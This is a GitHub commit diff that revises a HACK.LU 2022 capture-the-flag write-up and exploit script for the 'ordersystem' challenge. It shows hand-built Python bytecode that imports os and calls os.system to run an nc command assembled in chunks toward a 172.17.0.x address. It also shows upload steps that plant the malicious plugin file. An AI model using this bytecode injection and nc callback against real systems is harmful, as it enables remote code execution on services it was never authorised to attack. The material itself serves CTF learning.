Skip to content

Commit 50b9c25

Browse files
timobrembeckMMunier
andcommitted
Improve writeup for HACK.LU 2022 - ordersystem
Co-authored-by: MMunier <[email protected]>
1 parent b95c5b1 commit 50b9c25

File tree

2 files changed

+16
-19
lines changed

2 files changed

+16
-19
lines changed

hacklu2022/ordersystem/README.md

Lines changed: 9 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -191,19 +191,16 @@ nc_index = ord("b")
191191
co_names = ["len", "list", "print", "os", "system", "decode"]
192192
193193
exploit_asm = [
194-
# Invoke len(list()) to push 0 onto the stack
195-
("LOAD_NAME", co_names.index("len")),
196-
("LOAD_NAME", co_names.index("list")),
197-
("CALL_FUNCTION", 0),
198-
("CALL_FUNCTION", 1),
194+
# Get length of empty list to push 0 on the stack
195+
("BUILD_LIST", 0),
196+
# Use NOP as arg to simplify compiler
197+
("GET_LEN", 0x09),
199198
# Invoke print() to push None onto the stack
200199
("LOAD_NAME", co_names.index("print")),
201200
("CALL_FUNCTION", 0),
202201
# Import os
203202
("IMPORT_NAME", co_names.index("os")),
204-
("STORE_NAME", co_names.index("os")),
205203
# Invoke os.system()
206-
("LOAD_NAME", co_names.index("os")),
207204
("LOAD_METHOD", co_names.index("system")),
208205
# Decode first batch of nc command
209206
("LOAD_CONST", nc_index),
@@ -219,7 +216,7 @@ exploit_asm = [
219216
("CALL_METHOD", 0),
220217
# Concatenate the three strings
221218
("BUILD_STRING", 3),
222-
# Finnaly invoke the nc command
219+
# Finaly invoke the nc command
223220
("CALL_METHOD", 1),
224221
]
225222
```
@@ -229,7 +226,8 @@ This performs the following:
229226
1. Invoke `len(list())` to push `0` onto the stack
230227
2. Invoke `print()` to push `None` onto the stack
231228
5. Import `os`
232-
3. Load and decode all three batches of the `nc` command
229+
3. Load all three batches of the `nc` command
230+
4. Decode the command batches because `BUILD_STRING` only works with strings and not byte strings
233231
4. Concatenate the `nc` command
234232
6. Invoke the `nc` command via `os.system()`
235233

@@ -280,7 +278,8 @@ for i in range(num_chunks):
280278

281279
### Upload additional constants
282280

283-
In order to make the exploit work, we need a few more constants:
281+
In order to make the exploit work, we need a few more constants.
282+
These have to be uploaded after the plugins to make sure the plugins can be saved to disk successfully before any entries with invalid filenames are created (e.g. saving the file `plugins/expl` won't work because there is no directory `storage/plugins` but we cannot traverse the path because then the logfile method won't find it since this is operating from the working directory).
284283

285284
Store the filename which is used as "logfile" at index `ord("a")`
286285

hacklu2022/ordersystem/exploit.py

Lines changed: 7 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -101,19 +101,16 @@ def get_plugin_code(func_index, filename_index, content_index):
101101
co_names = ["len", "list", "print", "os", "system", "decode"]
102102

103103
exploit_asm = [
104-
# Invoke len(list()) to push 0 on the stack
105-
("LOAD_NAME", co_names.index("len")),
106-
("LOAD_NAME", co_names.index("list")),
107-
("CALL_FUNCTION", 0),
108-
("CALL_FUNCTION", 1),
104+
# Get length of empty list to push 0 on the stack
105+
("BUILD_LIST", 0),
106+
# Use NOP as arg to simplify compiler
107+
("GET_LEN", 0x09),
109108
# Invoke print() to push None on the stack
110109
("LOAD_NAME", co_names.index("print")),
111110
("CALL_FUNCTION", 0),
112111
# Import os
113112
("IMPORT_NAME", co_names.index("os")),
114-
("STORE_NAME", co_names.index("os")),
115113
# Invoke os.system()
116-
("LOAD_NAME", co_names.index("os")),
117114
("LOAD_METHOD", co_names.index("system")),
118115
# Decode first batch of nc command: 'nc 172.17.0.'
119116
("LOAD_CONST", nc_index),
@@ -129,7 +126,7 @@ def get_plugin_code(func_index, filename_index, content_index):
129126
("CALL_METHOD", 0),
130127
# Concatenate the three strings
131128
("BUILD_STRING", 3),
132-
# Finnaly invoke the nc command
129+
# Finaly invoke the nc command
133130
("CALL_METHOD", 1),
134131
]
135132

@@ -171,14 +168,15 @@ def get_plugin_code(func_index, filename_index, content_index):
171168
str(i), get_plugin_code(plugin_log_index, exploit_filename, base_index + i)
172169
)
173170

171+
# Store all plugins to disk now to prevent errors with invalid filenames
174172
store_disk()
175173

176174
# Upload filling entries because we can't access them
177175
log.info("Upload dummy entries")
178176
for i in range(base_index + 2 * num_chunks, ord("a")):
179177
upload_file(str(i).zfill(chunk_size))
180178

181-
# Store filepath for later (index: ord(a))
179+
# Store filepath for later (index: ord(a)) - this entry cannot be stored to disk because the path is invalid
182180
log.info("Upload additional constants")
183181
upload_file("plugins/expl")
184182

0 commit comments

Comments
 (0)